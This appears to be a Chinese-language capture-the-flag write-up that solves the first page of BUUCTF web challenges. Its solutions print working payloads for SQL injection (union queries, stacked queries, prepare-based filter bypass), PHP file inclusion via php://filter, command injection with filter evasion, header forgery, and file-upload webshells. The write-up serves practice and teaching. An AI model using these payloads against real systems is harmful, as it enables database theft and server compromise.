BUUCTF web第一页WP

目录

[极客大挑战 2019]EasySQL

[HCTF 2018]WarmUp

[极客大挑战 2019]Havefun

[ACTF2020 新生赛]Include

[强网杯 2019]随便注

[ACTF2020 新生赛]Exec

[SUCTF 2019]EasySQL

[极客大挑战 2019]Secret File

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]Knife

[极客大挑战 2019]Http

[极客大挑战 2019]Upload

[ACTF2020 新生赛]Upload


[极客大挑战 2019]EasySQL

payload:

1' or 1=1-- -
1

flag{deb9ccf8-479a-49c9-8412-6171f1c4b057}

[HCTF 2018]WarmUp

f12查看源码发现提示source.php, 进入获得源代码

BUUCTF web第一页WP_第1张图片

$whitelist = ["source"=>"source.php","hint"=>"hint.php"];

这里有hint.php,url/hint.php发现

flag in ffffllllaaaagggg

再回去审计代码,核心代码如下:

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
";   }  

意思就是传入一个file变量,需要是字符串,并且传进emmm的checkFile函数时还要返回True, 就可以被包含,那么包含什么呢??就是之前hint.php里面的ffffllllaaaagggg

checkFile函数有很多返回True的条件,我们满足一个就可以

测试:

BUUCTF web第一页WP_第2张图片

这里对应的是源码中的这里,返回的$_page是hint.php,在它给的白名单里,返回true

BUUCTF web第一页WP_第3张图片

但是payload不能直接这样写,你得进行两次url编码,为啥是两次呢?因为你传过去的时候服务器会自动解码一次,题目源代码又解码一次,所以要两次编码

BUUCTF web第一页WP_第4张图片

[极客大挑战 2019]Havefun

f12查看源代码

BUUCTF web第一页WP_第5张图片

payload:

?cat=dog

BUUCTF web第一页WP_第6张图片

[ACTF2020 新生赛]Include

payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

为什么这么写呢?

那个tips里就是flag.php,题目的名字是include, 可以推测get传入的东西会被包含,但是传了file以后并没有出现flag,很可能就是被注释了,就可以利用伪协议把这个文件显示出来。

这里再写一下我想错的一个地方,我本来是想file=$_POST[1],然后post传伪协议,但是不行,为什么呢?

因为这里它直接包含了,不是eval执行,包含的话是包含文件

如果是eval的话,那就可以get传?file=include $_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

就是这样

BUUCTF web第一页WP_第7张图片

base64解码即可

[强网杯 2019]随便注

有点触及我的知识盲区了,select被ban了,报错注入和盲注都行不通

强推这个大佬的wp,很详细BUUCTF之随便注_金 帛的博客-CSDN博客_buuctf随便注

新学会堆叠注入和利用sql预处理命令注入

我就简单复述一下

堆叠注入

利用分号(;)隔开sql语句,一下子能执行多条语句

查看数据库:

-1'; show databases;# 

BUUCTF web第一页WP_第8张图片

查表:

-1'; show databases;use supersqli;show tables# 

BUUCTF web第一页WP_第9张图片

查列:

-1';use supersqli;show columns from `1919810931114514`;# 

BUUCTF web第一页WP_第10张图片

找到flag了,接下来就是怎么把它搞出来,两种办法:

1、handler查询法

2、预编译绕过法

handler查询法

本地使用:

BUUCTF web第一页WP_第11张图片

payload:

-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

BUUCTF web第一页WP_第12张图片

预编译绕过法

预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句

利用concat函数来联合@a里的内容,来绕过过滤

payload:

-1'use supersqli;set @sql=concat('sele','ct flag from `1919810931114514`;');prepare b from @sql;execute b;#

BUUCTF web第一页WP_第13张图片

strstr函数ban了set和prepare,但是它不分大小写,可以用大小写绕过

payload:

-1';Set @sql=concat('sele','ct flag from `1919810931114514`;');PrePare b from @sql;execute b;#

BUUCTF web第一页WP_第14张图片

[ACTF2020 新生赛]Exec

很像ctfhub的命令执行,应该就是命令执行

1、|(就是按位或),直接执行|后面的语句
​
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
​
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
​
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
​
5、; 前后都执行,无论前面真假,同&,(linux也有)

执行命令找flag就行了

127.0.0.1|ls /  #发现flag
127.0.0.1|tac /flag

BUUCTF web第一页WP_第15张图片

[SUCTF 2019]EasySQL

堆叠注入BUUCTF web第一页WP_第16张图片

 有flag表,但是from flag貌似被ban了,不能读到

看wp知道 这个题的查询代码是`select $post['query']||flag from Flag`

几种解法:

1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接一下就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 或 运算符,这和Oracle数据库是一样的,也和字符串的拼接函数 CONCAT() 相类似。
这里相当于是将 select 1 和 select flag from Flag 的结果拼接在一起
*,1
拼接一下就是 select *,1||flag from Flag  (1||x=1)
就相当于  select *,1 from Flag    就把flag里的东西都查出来了

本地测试:

BUUCTF web第一页WP_第17张图片

这图还不秒懂????????????

BUUCTF web第一页WP_第18张图片

关于*,1这个解的本地测试:

BUUCTF web第一页WP_第19张图片

select 1 from table;的结果是什么?

(来自一个叫“一只小白来了”的大佬)

BUUCTF web第一页WP_第20张图片

可以看到,查询结果为列名为1,一共六行

select任何一个常数都会在表中新建一列,然后查询出那一列的内容。

BUUCTF web第一页WP_第21张图片

结论: select 1 from Flag的结果就是一排1,这一排有几个数据取决于表的行数多少。

这篇博客有介绍:select 1 from table where的作用? - ITCHN - 博客园

[极客大挑战 2019]Secret File

抓包,发现secr3t.php

BUUCTF web第一页WP_第22张图片

进入这个目录获得源码

BUUCTF web第一页WP_第23张图片

发现get传的file被包含,提示说在flag.php里

BUUCTF web第一页WP_第24张图片

但是这么传payload好像看不到flag,试着用伪协议看到源码

BUUCTF web第一页WP_第25张图片

base64解码拿到flag

BUUCTF web第一页WP_第26张图片

[GXYCTF2019]Ping Ping Ping

试了半天,这过滤的有点太多了吧

ban位: " ", (), <>, \, / , {}, %09, %20, * , 空格 等

BUUCTF web第一页WP_第27张图片

但是$IFS还在

然后,,,,,,

竟有如此奇法!好骚

?ip=127.0.0.1;a=ag;b=fl;tac$IFS$b$a.php

BUUCTF web第一页WP_第28张图片

[极客大挑战 2019]LoveSQL

啊咧?

BUUCTF web第一页WP_第29张图片

这样能直接登录进去,但是不给flag,说明flag还在数据库里,得爆

就正常联合查询爆

找回显点, 发现2和3的位置是回显

1' union select 1,2,3-- -

查数据库和表, 得到表名geekuser, l0ve1ysq1 ,应该是后面那个

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()-- -

BUUCTF web第一页WP_第30张图片

查字段名

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'-- -

BUUCTF web第一页WP_第31张图片

查数据

1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1-- -

拿到了,极客大挑战果然还是入门

BUUCTF web第一页WP_第32张图片

[极客大挑战 2019]Knife

看这封面是webshell的题吧

BUUCTF web第一页WP_第33张图片

直接蚁剑连接

BUUCTF web第一页WP_第34张图片

根目录里有一个flag文件,打开就是flag

BUUCTF web第一页WP_第35张图片

[极客大挑战 2019]Http

既然题目叫http,就抓包

有个secret的页面

BUUCTF web第一页WP_第36张图片

找对地方了

BUUCTF web第一页WP_第37张图片

让从哪个网址进来,就通过Referer伪造

BUUCTF web第一页WP_第38张图片

让用那个syclover浏览器,通过UA头伪造

BUUCTF web第一页WP_第39张图片

让从本地来,再XXF伪造,拿到flag了

BUUCTF web第一页WP_第40张图片

[极客大挑战 2019]Upload

先上传一个.user.ini,这里设置了过滤,需要增加文件十六进制文件头,以及Content-type后面改成image/png

BUUCTF web第一页WP_第41张图片

BUUCTF web第一页WP_第42张图片

用这个标记可以

BUUCTF web第一页WP_第43张图片

这样也可以

BUUCTF web第一页WP_第44张图片

试了非常久,终于把木马插进去并且蚁剑测试成功了,好像是因为文件头和Content-Type不符合,我把Content-Type后面跟着的改成gif就好了(但是之前的png又能传上去,,ε=(´ο`*)))唉,小坑)

PS:

  PHTML(有时也被称为PHP页)实际上是网页,它包括了由PHP脚本语言写成的网页,PHP语言和JavaScript或VBScript。它有点象微软的ASP页,一个PHTML页包括一些能够在服务器上执行的程序,用户可以通过网页的后缀可以了解什么是PHTML页。 

BUUCTF web第一页WP_第45张图片

flag在根目录

BUUCTF web第一页WP_第46张图片

[ACTF2020 新生赛]Upload

先把前端给它改了

BUUCTF web第一页WP_第47张图片

好像是js验证,那就禁了完事

BUUCTF web第一页WP_第48张图片

传马

BUUCTF web第一页WP_第49张图片

蚁剑连接

BUUCTF web第一页WP_第50张图片

flag还是在根目录

BUUCTF web第一页WP_第51张图片

你可能感兴趣的:(WP,web安全)